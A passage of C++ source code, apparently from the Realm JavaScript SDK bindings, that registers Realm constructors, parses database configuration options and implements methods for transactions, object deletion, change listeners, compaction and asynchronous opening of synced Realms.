FunctionType set_constructor = ObjectWrap<T, SetClass<T>>::create_constructor(ctx);
FunctionType dictionary_constructor = ObjectWrap<T, DictionaryClass<T>>::create_constructor(ctx);
FunctionType realm_object_constructor = ObjectWrap<T, RealmObjectClass<T>>::create_constructor(ctx);
FunctionType results_constructor = ObjectWrap<T, ResultsClass<T>>::create_constructor(ctx);
PropertyAttributes attributes = ReadOnly | DontEnum | DontDelete;
Object::set_property(ctx, realm_constructor, "Collection", collection_constructor, attributes);
Object::set_property(ctx, realm_constructor, "List", list_constructor, attributes);
Object::set_property(ctx, realm_constructor, "Set", set_constructor, attributes);
Object::set_property(ctx, realm_constructor, "Dictionary", dictionary_constructor, attributes);
Object::set_property(ctx, realm_constructor, "Results", results_constructor, attributes);
Object::set_property(ctx, realm_constructor, "Object", realm_object_constructor, attributes);
#if REALM_ENABLE_SYNC
FunctionType app_constructor = AppClass<T>::create_constructor(ctx);
Object::set_property(ctx, realm_constructor, "App", app_constructor, attributes);
FunctionType credentials_constructor = CredentialsClass<T>::create_constructor(ctx);
Object::set_property(ctx, realm_constructor, "Credentials", credentials_constructor, attributes);
FunctionType user_constructor = UserClass<T>::create_constructor(ctx);
Object::set_property(ctx, realm_constructor, "User", user_constructor, attributes);
FunctionType response_handler_constructor = ResponseHandlerClass<T>::create_constructor(ctx);
Object::set_property(ctx, realm_constructor, "ResponseHandler", response_handler_constructor, attributes);
FunctionType auth_constructor = AuthClass<T>::create_constructor(ctx);
Object::set_property(ctx, realm_constructor, "Auth", auth_constructor, attributes);
FunctionType email_password_provider_client_constructor = EmailPasswordAuthClass<T>::create_constructor(ctx);
Object::set_property(ctx, auth_constructor, "EmailPasswordAuth", email_password_provider_client_constructor, attributes);
FunctionType user_apikey_provider_client_constructor = ApiKeyAuthClass<T>::create_constructor(ctx);
Object::set_property(ctx, auth_constructor, "ApiKeyAuth", user_apikey_provider_client_constructor, attributes);
FunctionType sync_constructor = SyncClass<T>::create_constructor(ctx);
Object::set_property(ctx, app_constructor, "Sync", sync_constructor, attributes);
AsyncOpenTaskClass<T>::create_constructor(ctx);
#endif
if (getenv("REALM_DISABLE_SYNC_TO_DISK")) {
realm::disable_sync_to_disk();
}
Object::set_global(ctx, "Realm", realm_constructor);
return realm_constructor;
}
template<typename T>
bool RealmClass<T>::get_realm_config(ContextType ctx, size_t argc, const ValueType arguments[], realm::Realm::Config& config, ObjectDefaultsMap& defaults, ConstructorMap& constructors) {
bool schema_updated = false;
if (argc > 1) {
throw std::runtime_error("Invalid arguments when constructing 'Realm'");
}
if (argc == 0) {
config.path = default_path();
}
else if (argc == 1) {
ValueType value = arguments[0];
if (Value::is_string(ctx, value)) {
config.path = Value::validated_to_string(ctx, value, "path");
}
else if (Value::is_object(ctx, value)) {
ObjectType object = Value::validated_to_object(ctx, value);
static const String encryption_key_string = "encryptionKey";
ValueType encryption_key_value = Object::get_property(ctx, object, encryption_key_string);
if (!Value::is_undefined(ctx, encryption_key_value)) {
auto encryption_key = Value::validated_to_binary(ctx, encryption_key_value, "encryptionKey");
config.encryption_key.assign(encryption_key.data(), encryption_key.data() + encryption_key.size());
}
#if REALM_ENABLE_SYNC
SyncClass<T>::populate_sync_config(ctx, Value::validated_to_object(ctx, Object::get_global(ctx, "Realm")), object, config);
#endif
static const String path_string = "path";
ValueType path_value = Object::get_property(ctx, object, path_string);
if (!Value::is_undefined(ctx, path_value)) {
config.path = Value::validated_to_string(ctx, path_value, "path");
}
else if (config.path.empty()) {
config.path = js::default_path();
}
static const String fifo_fallback_path_string = "fifoFilesFallbackPath";
ValueType fallback_path_value = Object::get_property(ctx, object, fifo_fallback_path_string);
if (!Value::is_undefined(ctx, fallback_path_value)) {
config.fifo_files_fallback_path = Value::validated_to_string(ctx, fallback_path_value, "fifoFilesFallbackPath");
}
static const String in_memory_string = "inMemory";
ValueType in_memory_value = Object::get_property(ctx, object, in_memory_string);
if (!Value::is_undefined(ctx, in_memory_value) && Value::validated_to_boolean(ctx, in_memory_value, "inMemory")) {
if (config.force_sync_history || config.sync_config) {
throw std::invalid_argument("Options 'inMemory' and 'sync' are mutual exclusive.");
}
config.in_memory = true;
}
static const String read_only_string = "readOnly";
ValueType read_only_value = Object::get_property(ctx, object, read_only_string);
if (!Value::is_undefined(ctx, read_only_value) && Value::validated_to_boolean(ctx, read_only_value, "readOnly")) {
config.schema_mode = SchemaMode::Immutable;
}
static const String delete_realm_if_migration_needed_string = "deleteRealmIfMigrationNeeded";
ValueType delete_realm_if_migration_needed_value = Object::get_property(ctx, object, delete_realm_if_migration_needed_string);
if (!Value::is_undefined(ctx, delete_realm_if_migration_needed_value) && Value::validated_to_boolean(ctx, delete_realm_if_migration_needed_value, "deleteRealmIfMigrationNeeded")) {
if (config.schema_mode == SchemaMode::Immutable) {
throw std::invalid_argument("Cannot set 'deleteRealmIfMigrationNeeded' when 'readOnly' is set.");
}
if (config.sync_config && config.sync_config->partition_value != "") {
throw std::invalid_argument("Cannot set 'deleteRealmIfMigrationNeeded' when sync is enabled ('sync.partitionValue' is set).");
}
config.schema_mode = SchemaMode::ResetFile;
}
static const String schema_string = "schema";
ValueType schema_value = Object::get_property(ctx, object, schema_string);
if (!Value::is_undefined(ctx, schema_value)) {
ObjectType schema_array = Value::validated_to_array(ctx, schema_value, "schema");
config.schema.emplace(Schema<T>::parse_schema(ctx, schema_array, defaults, constructors));
schema_updated = true;
}
static const String schema_version_string = "schemaVersion";
ValueType version_value = Object::get_property(ctx, object, schema_version_string);
if (!Value::is_undefined(ctx, version_value)) {
config.schema_version = Value::validated_to_number(ctx, version_value, "schemaVersion");
}
else if (schema_updated) {
config.schema_version = 0;
}
static const String compact_on_launch_string = "shouldCompactOnLaunch";
ValueType compact_value = Object::get_property(ctx, object, compact_on_launch_string);
if (!Value::is_undefined(ctx, compact_value)) {
if (config.schema_mode == SchemaMode::Immutable) {
throw std::invalid_argument("Cannot set 'shouldCompactOnLaunch' when 'readOnly' is set.");
}
FunctionType should_compact_on_launch_function = Value::validated_to_function(ctx, compact_value, "shouldCompactOnLaunch");
ShouldCompactOnLaunchFunctor<T> should_compact_on_launch_functor {ctx, should_compact_on_launch_function};
config.should_compact_on_launch_function = std::move(should_compact_on_launch_functor);
}
static const String migration_string = "migration";
ValueType migration_value = Object::get_property(ctx, object, migration_string);
if (!Value::is_undefined(ctx, migration_value)) {
if (config.force_sync_history || config.sync_config) {
throw std::invalid_argument("Options 'migration' and 'sync' are mutual exclusive.");
}
FunctionType migration_function = Value::validated_to_function(ctx, migration_value, "migration");
if (config.schema_mode == SchemaMode::ResetFile) {
throw std::invalid_argument("Cannot include 'migration' when 'deleteRealmIfMigrationNeeded' is set.");
}
config.migration_function = [=](SharedRealm old_realm, SharedRealm realm, realm::Schema&) {
// the migration function called early so the binding context might not be set
if (!realm->m_binding_context) {
realm->m_binding_context.reset(new RealmDelegate<T>(realm, Context<T>::get_global_context(ctx)));
}
auto old_realm_ptr = new SharedRealm(old_realm);
auto realm_ptr = new SharedRealm(realm);
ValueType arguments[2] = {
create_object<T, RealmClass<T>>(ctx, old_realm_ptr),
create_object<T, RealmClass<T>>(ctx, realm_ptr)
};
try {
Function<T>::call(ctx, migration_function, 2, arguments);
}
catch (...) {
old_realm->close();
old_realm_ptr->reset();
realm_ptr->reset();
throw;
}
old_realm->close();
old_realm_ptr->reset();
realm_ptr->reset();
};
}
static const String automatic_change_notifications_string = "_automaticChangeNotifications";
ValueType automatic_change_notifications_value = Object::get_property(ctx, object, automatic_change_notifications_string);
if (!Value::is_undefined(ctx, automatic_change_notifications_value)) {
config.automatic_change_notifications = Value::validated_to_boolean(ctx, automatic_change_notifications_value, "_automaticChangeNotifications");
}
static const String disable_format_upgrade_string = "disableFormatUpgrade";
ValueType disable_format_upgrade_value = Object::get_property(ctx, object, disable_format_upgrade_string);
if (!Value::is_undefined(ctx, disable_format_upgrade_value)) {
config.disable_format_upgrade = Value::validated_to_boolean(ctx, disable_format_upgrade_value, "disableFormatUpgrade");
}
}
}
config.cache = true;
config.path = normalize_realm_path(config.path);
ensure_directory_exists_for_file(config.path);
return schema_updated;
}
template<typename T>
void RealmClass<T>::constructor(ContextType ctx, ObjectType this_object, Arguments& args) {
set_internal<T, RealmClass<T>>(ctx, this_object, nullptr);
realm::Realm::Config config;
ObjectDefaultsMap defaults;
ConstructorMap constructors;
bool schema_updated = get_realm_config(ctx, args.count, args.value, config, defaults, constructors);
auto realm = create_shared_realm(ctx, config, schema_updated, std::move(defaults), std::move(constructors));
set_internal<T, RealmClass<T>>(ctx, this_object, new SharedRealm(realm));
}
template<typename T>
SharedRealm RealmClass<T>::create_shared_realm(ContextType ctx, realm::Realm::Config config, bool schema_updated,
ObjectDefaultsMap&& defaults, ConstructorMap&& constructors) {
config.scheduler = realm::util::Scheduler::make_default();
SharedRealm realm;
realm = realm::Realm::get_shared_realm(config);
set_binding_context(ctx, realm, schema_updated, std::move(defaults), std::move(constructors));
return realm;
}
template<typename T>
void RealmClass<T>::set_binding_context(ContextType ctx, std::shared_ptr<Realm> const& realm, bool schema_updated,
ObjectDefaultsMap&& defaults, ConstructorMap&& constructors) {
GlobalContextType global_context = Context<T>::get_global_context(ctx);
if (!realm->m_binding_context) {
realm->m_binding_context.reset(new RealmDelegate<T>(realm, global_context));
}
RealmDelegate<T> *js_binding_context = dynamic_cast<RealmDelegate<T> *>(realm->m_binding_context.get());
REALM_ASSERT(js_binding_context);
REALM_ASSERT(js_binding_context->m_context == global_context);
// If a new schema was provided, then use its defaults and constructors.
if (schema_updated) {
js_binding_context->m_defaults = std::move(defaults);
js_binding_context->m_constructors = std::move(constructors);
}
}
template<typename T>
void RealmClass<T>::schema_version(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(2);
realm::Realm::Config config;
config.path = normalize_realm_path(Value::validated_to_string(ctx, args[0]));
if (args.count == 2) {
auto encryption_key = Value::validated_to_binary(ctx, args[1], "encryptionKey");
config.encryption_key.assign(encryption_key.data(), encryption_key.data() + encryption_key.size());
}
auto version = realm::Realm::get_schema_version(config);
if (version == ObjectStore::NotVersioned) {
return_value.set(-1);
}
else {
return_value.set((double)version);
}
}
template<typename T>
void RealmClass<T>::clear_test_state(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
js::clear_test_state();
#if REALM_ENABLE_SYNC
realm::app::App::clear_cached_apps();
#endif
}
template<typename T>
void RealmClass<T>::copy_bundled_realm_files(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
realm::copy_bundled_realm_files();
}
template<typename T>
void RealmClass<T>::delete_file(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
ValueType value = args[0];
std::string realm_file_path = validate_and_normalize_config(ctx, value).path;
realm::remove_file(realm_file_path);
realm::remove_file(realm_file_path + ".lock");
realm::remove_file(realm_file_path + ".note");
realm::remove_directory(realm_file_path + ".management");
}
template<typename T>
void RealmClass<T>::realm_file_exists(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
ValueType value = args[0];
std::string realm_file_path = validate_and_normalize_config(ctx, value).path;
return_value.set(realm::util::File::exists(realm_file_path));
}
template<typename T>
void RealmClass<T>::delete_model(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
ValueType value = args[0];
SharedRealm& realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
auto& config = realm->config();
if (config.schema_mode == SchemaMode::Immutable || config.schema_mode == SchemaMode::AdditiveExplicit || config.schema_mode == SchemaMode::ReadOnlyAlternative) {
throw std::runtime_error("Cannot delete model for a read-only or a synced Realm.");
}
realm->verify_open();
if (!realm->is_in_transaction()) {
throw std::runtime_error("Can only delete objects within a transaction.");
}
Group& group = realm->read_group();
std::string model_name = Value::validated_to_string(ctx, value, "deleteModel");
ObjectStore::delete_data_for_object(group, model_name);
if (!realm->is_in_migration()) {
realm::Schema new_schema = ObjectStore::schema_from_group(group);
realm->update_schema(new_schema,
realm->schema_version() + 1,
nullptr,
nullptr,
true);
}
}
template<typename T>
void RealmClass<T>::get_default_path(ContextType ctx, ObjectType object, ReturnValue &return_value) {
return_value.set(realm::js::default_path());
}
template<typename T>
void RealmClass<T>::set_default_path(ContextType ctx, ObjectType object, ValueType value) {
js::set_default_path(Value::validated_to_string(ctx, value, "defaultPath"));
}
template<typename T>
void RealmClass<T>::get_empty(ContextType ctx, ObjectType object, ReturnValue &return_value) {
SharedRealm& realm = *get_internal<T, RealmClass<T>>(ctx, object);
bool is_empty = ObjectStore::is_empty(realm->read_group());
return_value.set(is_empty);
}
template<typename T>
void RealmClass<T>::get_path(ContextType ctx, ObjectType object, ReturnValue &return_value) {
std::string path = get_internal<T, RealmClass<T>>(ctx, object)->get()->config().path;
return_value.set(path);
}
template<typename T>
void RealmClass<T>::get_schema_version(ContextType ctx, ObjectType object, ReturnValue &return_value) {
double version = get_internal<T, RealmClass<T>>(ctx, object)->get()->schema_version();
return_value.set(version);
}
template<typename T>
void RealmClass<T>::get_schema(ContextType ctx, ObjectType object, ReturnValue &return_value) {
auto& schema = get_internal<T, RealmClass<T>>(ctx, object)->get()->schema();
ObjectType schema_object = Schema<T>::object_for_schema(ctx, schema);
return_value.set(schema_object);
}
template<typename T>
void RealmClass<T>::get_in_memory(ContextType ctx, ObjectType object, ReturnValue &return_value) {
return_value.set(get_internal<T, RealmClass<T>>(ctx, object)->get()->config().in_memory);
}
template<typename T>
void RealmClass<T>::get_read_only(ContextType ctx, ObjectType object, ReturnValue &return_value) {
return_value.set(get_internal<T, RealmClass<T>>(ctx, object)->get()->config().immutable());
}
template<typename T>
void RealmClass<T>::get_is_in_transaction(ContextType ctx, ObjectType object, ReturnValue &return_value) {
return_value.set(get_internal<T, RealmClass<T>>(ctx, object)->get()->is_in_transaction());
}
template<typename T>
void RealmClass<T>::get_is_closed(ContextType ctx, ObjectType object, ReturnValue &return_value) {
return_value.set(get_internal<T, RealmClass<T>>(ctx, object)->get()->is_closed());
}
#if REALM_ENABLE_SYNC
template<typename T>
void RealmClass<T>::get_sync_session(ContextType ctx, ObjectType object, ReturnValue &return_value) {
auto realm = *get_internal<T, RealmClass<T>>(ctx, object);
auto config = realm->config();
if (config.sync_config) {
auto user = config.sync_config->user;
if (user) {
if (std::shared_ptr<SyncSession>session = user->sync_manager()->get_existing_active_session(config.path)) {
return return_value.set(create_object<T, SessionClass<T>>(ctx, new WeakSession(session)));
}
}
}
return_value.set_null();
}
#endif
#if REALM_ENABLE_SYNC
template<typename T>
void RealmClass<T>::async_open_realm(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(2);
auto callback_function = Value::validated_to_function(ctx, args[0 + (args.count == 2)]);
Realm::Config config;
ObjectDefaultsMap defaults;
ConstructorMap constructors;
bool schema_updated = get_realm_config(ctx, args.count - 1, args.value, config, defaults, constructors);
if (!config.sync_config) {
throw std::logic_error("_asyncOpen can only be used on a synchronized Realm.");
}
Protected<FunctionType> protected_callback(ctx, callback_function);
Protected<ObjectType> protected_this(ctx, this_object);
Protected<typename T::GlobalContext> protected_ctx(Context<T>::get_global_context(ctx));
auto& user = config.sync_config->user;
if (user && user->state() == SyncUser::State::Removed) {
ObjectType object = Object::create_empty(protected_ctx);
Object::set_property(protected_ctx, object, "message",
Value::from_string(protected_ctx, "Cannot asynchronously open synced Realm because the associated session previously experienced a fatal error"));
Object::set_property(protected_ctx, object, "errorCode", Value::from_number(protected_ctx, 1));
ValueType callback_arguments[] = {
object,
};
Function<T>::callback(protected_ctx, protected_callback, protected_this, 1, callback_arguments);
}
std::shared_ptr<AsyncOpenTask> task;
task = Realm::get_synchronized_realm(config);
realm::util::EventLoopDispatcher<RealmCallbackHandler> callback_handler([=, defaults = std::move(defaults), constructors = std::move(constructors)]
(ThreadSafeReference&& realm_ref, std::exception_ptr error) {
HANDLESCOPE(protected_ctx)
if (error) {
try {
std::rethrow_exception(error);
} catch (const std::exception& e) {
ObjectType object = Object::create_empty(protected_ctx);
Object::set_property(protected_ctx, object, "message", Value::from_string(protected_ctx, e.what()));
Object::set_property(protected_ctx, object, "errorCode", Value::from_number(protected_ctx, 1));
ValueType callback_arguments[2] = {
Value::from_undefined(protected_ctx),
object,
};
Function<T>::callback(protected_ctx, protected_callback, protected_this, 2, callback_arguments);
return;
}
}
auto def = std::move(defaults);
auto ctor = std::move(constructors);
const SharedRealm realm = Realm::get_shared_realm(std::move(realm_ref), util::Scheduler::make_default());
set_binding_context(protected_ctx, realm, schema_updated, std::move(def), std::move(ctor));
ObjectType object = create_object<T, RealmClass<T>>(protected_ctx, new SharedRealm(realm));
ValueType callback_arguments[2] = {
object,
Value::from_null(protected_ctx),
};
Function<T>::callback(protected_ctx, protected_callback, 2, callback_arguments);
});
task->start(callback_handler);
return_value.set(create_object<T, AsyncOpenTaskClass<T>>(ctx, new std::shared_ptr<AsyncOpenTask>(task)));
}
#endif
template<typename T>
void RealmClass<T>::objects(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
auto& object_schema = validated_object_schema_for_value(ctx, realm, args[0]);
if (object_schema.is_embedded) {
throw std::runtime_error("You cannot query an embedded object.");
}
return_value.set(ResultsClass<T>::create_instance(ctx, realm, object_schema.name));
}
template<typename T>
void RealmClass<T>::object_for_primary_key(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(2);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
std::string object_type;
auto &object_schema = validated_object_schema_for_value(ctx, realm, args[0]);
NativeAccessor accessor(ctx, realm, object_schema);
auto realm_object = realm::Object::get_for_primary_key(accessor, realm, object_schema, args[1]);
if (realm_object.is_valid()) {
return_value.set(RealmObjectClass<T>::create_instance(ctx, std::move(realm_object)));
}
else {
return_value.set_undefined();
}
}
template<typename T>
void RealmClass<T>::create(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(3);
realm::CreatePolicy policy = realm::CreatePolicy::ForceCreate;
if (args.count == 3) {
if (Value::is_boolean(ctx, args[2])) {
// Deprecated API
if (Value::validated_to_boolean(ctx, args[2])) {
policy = realm::CreatePolicy::UpdateAll;
}
else {
policy = realm::CreatePolicy::ForceCreate;
}
}
else if (Value::is_string(ctx, args[2])) {
// New API accepting an updateMode parameter
std::string mode = Value::validated_to_string(ctx, args[2]);
if (mode == "never") {
policy = realm::CreatePolicy::ForceCreate;
}
else if (mode == "modified") {
policy = realm::CreatePolicy::UpdateModified;
}
else if (mode == "all") {
policy = realm::CreatePolicy::UpdateAll;
} else {
throw std::runtime_error("Unsupported 'updateMode'. Only 'never', 'modified' or 'all' is supported.");
}
}
else {
throw std::runtime_error("Unsupported 'updateMode'. Only the strings 'never', 'modified' or 'all' is supported.");
}
}
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->verify_open();
auto &object_schema = validated_object_schema_for_value(ctx, realm, args[0]);
ObjectType object = Value::validated_to_object(ctx, args[1], "properties");
if (Value::is_array(ctx, args[1])) {
object = Schema<T>::dict_for_property_array(ctx, object_schema, object);
}
if (Object::template is_instance<RealmObjectClass<T>>(ctx, object)) {
auto realm_object = get_internal<T, RealmObjectClass<T>>(ctx, object);
if (!realm_object) {
throw std::runtime_error("Cannot create an object from a detached Realm.Object instance");
}
}
NativeAccessor accessor(ctx, realm, object_schema);
auto realm_object = realm::Object::create<ValueType>(accessor, realm, object_schema, object, policy);
return_value.set(RealmObjectClass<T>::create_instance(ctx, std::move(realm_object)));
}
template<typename T>
void RealmClass<T>::delete_one(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->verify_open();
if (!realm->is_in_transaction()) {
throw std::runtime_error("Can only delete objects within a transaction.");
}
ObjectType arg = Value::validated_to_object(ctx, args[0], "object");
if (Object::template is_instance<RealmObjectClass<T>>(ctx, arg)) {
auto realm_object = get_internal<T, RealmObjectClass<T>>(ctx, arg);
if (!realm_object) {
throw std::runtime_error("Invalid argument at index 0");
}
if (!realm_object->is_valid()) {
throw std::runtime_error("Object is invalid. Either it has been previously deleted or the Realm it belongs to has been closed.");
}
realm::TableRef table = ObjectStore::table_for_object_type(realm->read_group(), realm_object->get_object_schema().name);
table->remove_object(realm_object->obj().get_key());
}
else if (Value::is_array(ctx, arg)) {
uint32_t length = Object::validated_get_length(ctx, arg);
for (uint32_t i = length; i--;) {
ObjectType object = Object::validated_get_object(ctx, arg, i);
if (!Object::template is_instance<RealmObjectClass<T>>(ctx, object)) {
throw std::runtime_error("Argument to 'delete' must be a Realm object or a collection of Realm objects.");
}
auto realm_object = get_internal<T, RealmObjectClass<T>>(ctx, object);
if (!realm_object) {
throw std::runtime_error(util::format("Invalid argument at index %1", i));
}
realm::TableRef table = ObjectStore::table_for_object_type(realm->read_group(), realm_object->get_object_schema().name);
table->remove_object(realm_object->obj().get_key());
}
}
else if (Object::template is_instance<ResultsClass<T>>(ctx, arg)) {
auto results = get_internal<T, ResultsClass<T>>(ctx, arg);
results->clear();
}
else if (Object::template is_instance<ListClass<T>>(ctx, arg)) {
auto list = get_internal<T, ListClass<T>>(ctx, arg);
list->delete_all();
}
else {
throw std::runtime_error("Argument to 'delete' must be a Realm object or a collection of Realm objects.");
}
}
template<typename T>
void RealmClass<T>::delete_all(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->verify_open();
if (!realm->is_in_transaction()) {
throw std::runtime_error("Can only delete objects within a transaction.");
}
for (auto objectSchema : realm->schema()) {
auto table = ObjectStore::table_for_object_type(realm->read_group(), objectSchema.name);
table->clear();
}
}
template<typename T>
void RealmClass<T>::write(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
FunctionType callback = Value::validated_to_function(ctx, args[0]);
realm->begin_transaction();
try {
auto const &callback_return = Function<T>::call(ctx, callback, this_object, 0, nullptr);
return_value.set(callback_return);
}
catch (...) {
realm->cancel_transaction();
throw;
}
realm->commit_transaction();
}
template<typename T>
void RealmClass<T>::begin_transaction(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->begin_transaction();
}
template<typename T>
void RealmClass<T>::commit_transaction(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->commit_transaction();
}
template<typename T>
void RealmClass<T>::cancel_transaction(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->cancel_transaction();
}
template<typename T>
void RealmClass<T>::add_listener(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(2);
std::string name = Value::validated_to_string(ctx, args[0], "notification name");
auto callback = Value::validated_to_function(ctx, args[1]);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->verify_open();
if (name == "change") {
get_delegate<T>(realm.get())->add_notification(callback);
}
else if (name == "beforenotify") {
get_delegate<T>(realm.get())->add_before_notify_notification(callback);
}
else if (name == "schema") {
get_delegate<T>(realm.get())->add_schema_notification(callback);
}
else {
throw std::runtime_error(util::format("Unknown event name '%1': only 'change', 'schema' and 'beforenotify' are supported.", name));
}
}
template<typename T>
void RealmClass<T>::remove_listener(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(2);
std::string name = Value::validated_to_string(ctx, args[0], "notification name");
auto callback = Value::validated_to_function(ctx, args[1]);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->verify_open();
if (name == "change") {
get_delegate<T>(realm.get())->remove_notification(callback);
}
else if (name == "beforenotify") {
get_delegate<T>(realm.get())->remove_before_notify_notification(callback);
}
else if (name == "schema") {
get_delegate<T>(realm.get())->remove_schema_notification(callback);
}
else {
throw std::runtime_error(util::format("Unknown event name '%1': only 'change', 'schema' and 'beforenotify' are supported", name));
}
}
template<typename T>
void RealmClass<T>::remove_all_listeners(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(1);
std::string name = "change";
if (args.count) {
name = Value::validated_to_string(ctx, args[0], "notification name");
}
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->verify_open();
if (name == "change") {
get_delegate<T>(realm.get())->remove_all_notifications();
}
else if (name == "beforenotify") {
get_delegate<T>(realm.get())->remove_all_before_notify_notification();
}
else if (name == "schema") {
get_delegate<T>(realm.get())->remove_all_schema_notifications();
}
else {
throw std::runtime_error(util::format("Unknown event name '%1': only 'change', 'schema' and 'beforenotify' are supported", name));
}
}
template<typename T>
void RealmClass<T>::close(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
realm->close();
}
template<typename T>
void RealmClass<T>::compact(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(0);
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
if (realm->is_in_transaction()) {
throw std::runtime_error("Cannot compact a Realm within a transaction.");
}
return_value.set(realm->compact());
}
template<typename T>
void RealmClass<T>::writeCopyTo(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_maximum(2);
if (args.count == 0) {
throw std::runtime_error("At least path has to be provided for 'writeCopyTo'");
}
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
ValueType pathValue = args[0];
if (!Value::is_string(ctx, pathValue)) {
throw std::runtime_error("Argument to 'writeCopyTo' must be a String.");
}
std::string path = Value::validated_to_string(ctx, pathValue);
if (args.count == 1) {
BinaryData empty_encryption_key;
realm->write_copy(path, empty_encryption_key);
return;
}
// enryption key is specified
ValueType encryption_key_arg = args[1];
if (!Value::is_binary(ctx, encryption_key_arg)) {
throw std::runtime_error("Encryption key for 'writeCopyTo' must be a Binary.");
}
auto encryption_key = Value::validated_to_binary(ctx, encryption_key_arg);
realm->write_copy(path, encryption_key.get());
}
template<typename T>
void RealmClass<T>::get_schema_name_from_object(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue& return_value) {
args.validate_count(1);
// Try to map the input to the internal schema name for the given input. This should work for managed objects and
// schema objects. Pure strings and functions are expected to return a correct value.
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
auto &object_schema = validated_object_schema_for_value(ctx, realm, args[0]);
return_value.set(object_schema.name);
}
/**
* Updates the schema.
*
* TODO: This is exposed as an internal `_updateSchema` API because this should eventually be published as
* `Realm.schema.update`.
*/
template<typename T>
void RealmClass<T>::update_schema(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue &return_value) {
args.validate_count(1);
ObjectType schema = Value::validated_to_array(ctx, args[0], "schema");
// Parse the schema object provided by the user
ObjectDefaultsMap defaults;
ConstructorMap constructors;
realm::Schema parsed_schema = Schema<T>::parse_schema(ctx, schema, defaults, constructors);
// Get a handle to the Realms group
SharedRealm realm = *get_internal<T, RealmClass<T>>(ctx, this_object);
if (!realm->is_in_transaction()) {
throw std::runtime_error("Can only create object schema within a transaction.");
}
// Perform the schema update
realm->update_schema(
parsed_schema,
realm->schema_version() + 1,
nullptr,
nullptr,
true
);
}
template<typename T>
void RealmClass<T>::bson_parse_json(ContextType ctx, ObjectType, Arguments& args, ReturnValue &return_value) {
args.validate_count(1);
auto json = std::string(Value::validated_to_string(ctx, args[0]));
auto parsed = bson::parse(json);
return_value.set(Value::from_bson(ctx, parsed));
}
#if REALM_ENABLE_SYNC
template<typename T>
class AsyncOpenTaskClass : public ClassDefinition<T, std::shared_ptr<AsyncOpenTask>> {
using GlobalContextType = typename T::GlobalContext;
using ContextType = typename T::Context;
using FunctionType = typename T::Function;
using ObjectType = typename T::Object;
using ValueType = typename T::Value;
using String = js::String<T>;
using Object = js::Object<T>;
using Value = js::Value<T>;
using Function = js::Function<T>;
using ReturnValue = js::ReturnValue<T>;
using Arguments = js::Arguments<T>;
using ObjectDefaultsMap = typename Schema<T>::ObjectDefaultsMap;
using ConstructorMap = typename Schema<T>::ConstructorMap;
using SyncProgressHandler = void(uint64_t transferred_bytes, uint64_t transferrable_bytes);
public:
std::string const name = "AsyncOpenTask";
static FunctionType create_constructor(ContextType);
static void add_download_notification(ContextType, ObjectType, Arguments &, ReturnValue &);
static void cancel(ContextType, ObjectType, Arguments &, ReturnValue &);
MethodMap<T> const methods = {
{"addDownloadNotification", wrap<add_download_notification>},
{"cancel", wrap<cancel>},
};
};
template<typename T>
typename T::Function AsyncOpenTaskClass<T>::create_constructor(ContextType ctx) {
return ObjectWrap<T, AsyncOpenTaskClass<T>>::create_constructor(ctx);
}
template<typename T>
void AsyncOpenTaskClass<T>::cancel(ContextType ctx, ObjectType this_object, Arguments &args, ReturnValue & return_value) {
std::shared_ptr<AsyncOpenTask> task = *get_internal<T, AsyncOpenTaskClass<T>>(ctx, this_object);
task->cancel();
}
template<typename T>
